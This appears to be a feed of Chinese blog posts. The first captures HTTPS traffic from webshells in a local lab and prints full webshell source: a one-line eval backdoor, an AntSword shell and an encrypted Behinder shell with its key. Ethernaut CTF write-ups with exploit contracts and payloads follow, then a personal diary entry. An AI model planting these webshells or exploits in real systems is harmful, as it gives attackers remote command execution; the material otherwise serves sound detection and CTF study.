--name webshell-traffic php:8.4-rc-apache-bullseye

映射一下,方便传马(多此一举了其实);

测试连接

1
touch /var/www/html/index.php

访问 9000 端口,检测到空文件,成功;

抓包

抓包测试

首先安装tcpdump,用于抓包;

1
tcpdump -i eth0 -w /tmp/capture.pcap

把包保存到/tmp里;

访问几次index.php,保存流量;

copy 到本机,然后打开查看;

然后配置https加密流量,同样的方法抓;

https 配置

1
2
3
4
5
6
7
8
9
10
# 启动 ssl
a2enmod ssl
# 创建 ssl 目录
mkdir /etc/apache2/ssl
# 生成自签名证书
openssl req -x509 -nodes -days 365 \
-newkey rsa:2048 \
-keyout /etc/apache2/ssl/apache.key \
-out /etc/apache2/ssl/apache.crt \
-subj "/C=US/ST=State/L=City/O=Organization/OU=Department/CN=localhost"

修改/etc/apache2/sites-available/default-ssl.conf

1
2
3
4
5
6
echo "\n<VirtualHost *:443>\n\
DocumentRoot /var/www/html\n\
SSLEngine on\n\
SSLCertificateFile /etc/apache2/ssl/apache.crt\n\
SSLCertificateKeyFile /etc/apache2/ssl/apache.key\n\
</VirtualHost>\n" >> /etc/apache2/sites-available/default-ssl.conf

启用配置:

1
a2ensite default-ssl.conf

访问https://localhost:9001/成功;

传统 webshell

basic-webshell.php

1
<?php @eval($_GET["QST"]); ?>

payload

https://localhost:9001/basic-webshell.php?QST=echo(exec(%27whoami%27));

https://localhost:9001/basic-webshell.php?QST=echo(exec(%27ls%27));

可以看到一些 https 的特征:

Antsword(蚁剑)

antsword-webshell.php

1
<?php @eval($_POST["QST"]); ?>

连接webshell:

在操作 webshell 过程中抓包;

这里有个问题,我的自签名 ssl 证书在用蚁剑连的时候会报:

1
{"code":"DEPTH_ZERO_SELF_SIGNED_CERT"}

忽略 https 证书即可;

随便点点,抓到一些包:

特征差不多;

Behinder(冰蝎)

behinder-webshell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="f14b485168197a68"; //该密钥为连接密码32位md5值的前16位,连接密码QST
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

同样,操作 webshell 同时抓包:

比之前的包大一两个数量级;

总结

抓了一些常用的 webshell ,希望有用。

区块链学习之壹

ethernaut - Coin Flip

投币咯,我最喜欢的;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

题解

随机的核心在于 blockhash(block.number - 1)

攻击原理是,如果在攻击合约中调用目标合约,就可以让两次调用在一个 block ,从而两次伪随机的结果相同;

注意lastHash == blockValue是不允许的,这事实上限制了不能连续在同一 block 内调用flip

解决方案是运行十次 exp ,而不是在 exp 中调用十次flip

source of exp contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;

/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/

// interface for instancing the problem contract
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}

// accacking contract
contract Storage {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance = 0xb9A0C84D1C4a44322a141b401b95a69dCE386dC4;
uint256 lastHash;
CoinFlip con;

function exp() public{
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

// calculate which side
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

// call con.flip
con = CoinFlip(instance);
con.flip(side);
}

部署合约,调十次 exp 即可;

使用 Remix - Injected Provider 编写 attacking contract

一,写代码到contracts/xxx.sol,开启自动编译;

二,选择环境 Injected Provider,选择要部署的合约;

三,部署;

四,调用exp函数;

这样就完成了一个简单 attacking contract 的部署到调用;

ethernaut - Telephone

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

difference between msg.sender&tx.origin

很直观了,msg.sender是功能的调用者,tx.origin调用功能的账户;

题解

只需要用一个非player的合约调用instance即可;

exp source

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external ;
}
contract Attack {
function exp() public {
Telephone t = Telephone(0x7433a6f73fA68a0ED229e4164F4D6503ffF0a489);
t.changeOwner(tx.origin);
}
}

ethernaut - Token

description

1
2
3
4
5
6
7
//The goal of this level is for you to hack the basic token contract below.

//You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

// Things that might help:

//What is an odometer?

要求把自己余额弄成一个很大的数;

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

What is an odometer?

说实话没懂这个hint;

uint overflow

transfer 表面上限制了余额不能为负数:require(balances[msg.sender] - _value >= 0)

但是balances的键值实际上是uint256,查阅 solidity 官方文档 得知两点:

  1. “Solidity中的整数是有取值范围的。 例如 uint32 类型的取值范围是 02 ** 32-1 。 0.8.0 开始,算术运算有两个计算模式:一个是 “wrapping”(截断)模式或称 “unchecked”(不检查)模式,一个是”checked” (检查)模式。 默认情况下,算术运算在 “checked” 模式下,即都会进行溢出检查,如果结果落在取值范围之外,调用会通过 失败异常 回退。 你也可以通过 unchecked { ... } 切换到 “unchecked”模式,更多可参考 unchecked .”
  2. 在 0.8.0 以前的版本(这里是 0.7.5)有这样的描述:“加法,减法和乘法具有通常的语义,值用两进制补码表示,意思是比如:uint256(0) - uint256(1)== 2 ** 256 - 1 。 我们在设计和编写智能合约时必须考虑到溢出问题。”

题目环境为 0.6.0 ,溢出问题存在,要搞大数字直接溢出即可;

题解

payload

1
await contract.transfer(instance,21)

ethernaut - Delegation

description

1
2
3
4
5
6
7
// The goal of this level is for you to claim ownership of the instance you are given.

// Things that might help

// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
// Fallback methods
// Method ids

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

部署的是Delegation,其回调函数的作用是进行一次delegatecall, 在Delegate中调用目标函数;

直接尝试调用pwn()即可;

而且这里涉及到delegatecall的特点,不改变交易属性,也就是msg.sender仍然是player自己;

发起一个交易,将签名data改为pwn()keccak256值的前四字节;

傻逼 js slice的时候把sha3的结果看作字符串,因此取前四字节要取前十位,因为有"0x"

题解

1
await contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});

注:solidity 的keccak256就是sha3

ethernaut - Force

description

1
2
3
4
5
6
7
8
9
// Some contracts will simply not take your money ¯\_(ツ)_/¯

// The goal of this level is to make the balance of the contract greater than zero.

// Things that might help:

// Fallback methods
// Sometimes the best way to attack a contract is with another contract.
// See the "?" page above, section "Beyond the console"

source

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

给空合约发钱的问题,没有receive()也没有callback()

查阅官方文档:

1
// 一个没有receive函数的合约,可以作为 coinbase 交易 (又名 矿工区块回报 )的接收者或者作为 selfdestruct 的目标来接收以太币。

结合提示,尝试构建一个有receive()selfdestruct()的合约,然后销毁之。

题解

exp source (GPT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
address payable target;

// 在部署时设置目标合约的地址
constructor(address payable _target) {
target = _target;
}

// 允许该合约接收以太币
receive() external payable {}

// 自毁合约并发送所有以太币到目标合约
function destroy() external payable {
selfdestruct(target);
}
}

部署之后向目标合约转账;

然后调用destroy()getBalance()后发现instant已经有余额;

通!

你好

好你;

想起来小学有个大胖子,别人招惹他之后,他的口头禅是:

”好你个……“

小秦加油努力!

既定的未来

凌晨陷入了恐怖的焦虑之中。大概来源于自己前一年半什么也没做,不知道自己兴趣在何处,不知道该干什么。

大一上学期想保清北信工所深埋绩点之中,大一下学期疫情解封想多谈恋爱及时行乐毕业去二线城市躺平,大二上学期又阴差阳错地在太子港一个假期的 push 之下进了天璇,如此搭上了视野扩展的第一架桥。然而我是一个瞻前顾后的人,我不知道自己 CTF 能打多久,能打到什么程度,望着又不自信自己的智商,在新生赛证明了自己的智商,入围后却不知道学什么,繁乱的 WEB 技能树甚至不如实验班课程给我的吸引力大。弱智 Spring boot 学得我忘乎所以,项目的弱智后端做完了又去刷抖音,刷 b 站,打英雄联盟,转眼间一学期的时光就浪费掉了。我都不知道这到底是在奖励自己还是惩罚自己。

到了这个寒假,在学长 push 之下帮忙写了点 wiki ,跟着看了两个 CTF ,几乎什么都不会,对题目的贡献无限趋近于0。我原谅了自己。颉夏青找我做一个看起来很牛逼的项目,于是我又搞上三四年前就废弃的机器学习了。学着包装 PPT ,给团队成员打鸡血,调试模型。我又觉得自己做事情了,于是又不学了。

我会在沈阳和我的兄弟们随便找一个包间一打打一天麻将,赴约一场又一场,去体验二十多年的台球厅,和女兄弟、女兄弟的男闺蜜、男闺蜜的男 gay 蜜喝酒唱 K ,我会装醉跟女士拥抱,会装傻差点被女士拽到汉庭酒店,我在这些时间和空间肆意妄为,哈哈大笑,觉得这就是我的人生了——这人生好快乐——可这不是我的人生。

从我记事儿以来我就没觉得我该这样过,我的理想一向是在某一个行当有所成就,这一般伴随着赚很多(对于我的认知来说很多)的钱。我只是累了,累得出奇。我不知道未来要做什么,不知道要学什么,不知道我会爱上什么样的人。恰恰我又读了自主性最强的 IT ,于是乎我只能为所有未来的可能性努力,什么都学,尝试接触身边所有可能爱上的人。人,至少我是不能这么用的。我超负荷了,什么也做不了了。

不想谈 MBTI ,但我很早就是 sj 人了。这样的生活对 sj 人来说太绝望了。

我一向是用心的眼睛盯着旁人才嗯那个有所前进,所幸我在滑落谷底的边缘遇到了三位目标明确行动坚定的人,三位在我的标准里可以托付至少半颗心的人。

首先是大我两届的。此人一度给我一种非常神秘威严的感觉。直到上个假期我向他倾诉了一次,那过后我心里神秘威严的印象并未消解,但我觉得这个人是值得交付心情的,也是乐于收揽心情的。无论是方向上还是情绪上,都可以称之为我的直系学长。在我接触到下一个合适的人之前很长一段时间内,我需要间歇让他做我的引路人。我打心底里是崇拜他的,故他随便的一句认可或者建议都能消解我无数的云雾。

二是我的好友。此人和我一样傻逼。近日突然开始专注学一样东西,是我沙河图书馆的官方指定唯一搭子。好朋友间不至于对标,至少我看着同伴在努力,自己也没了摆烂的理由。

三是。追她这件事让我第一次感受到从泛泛想象到清晰目标的转变给我带来的快感。更惊喜的是,她是一个未来规划很明确的人,还是一个努力的人。最重要的一点,我非常喜欢她,喜欢她身上的所有性格特质。我很幸运地被她喜欢了,她带给了我一场世界上最好的恋爱。这一场恋爱收束了我的心绪,我的心里有了未来的样子。很长一段时间内,我要围绕一件事情奋斗,我决定我要成功了。

我定好了学某个方向,进某个组,拿着这个组的丰厚经验胜利就业。

这是我最喜欢的节奏,它让我想到四五年前意气风发无所不能的我。那时候我的心里只有高考一件事,每天都在想着如何考进北师大的数学系,当时的方法也非常简单,多做题就行;至于现在如何去学,我要不断地问,没什么信息差,无外乎不停的努力。

如今实验班退不掉了,我也欣然接受。同时我不再怀疑自己的智商。东隅已逝,桑榆非晚;我如今赤条条地面对这个世界,宣告一个巨大的阳谋,而不怕世界说我如何如何吹牛逼。

未来无限可能,但是我马上二十岁了,应该选择一种去实现了。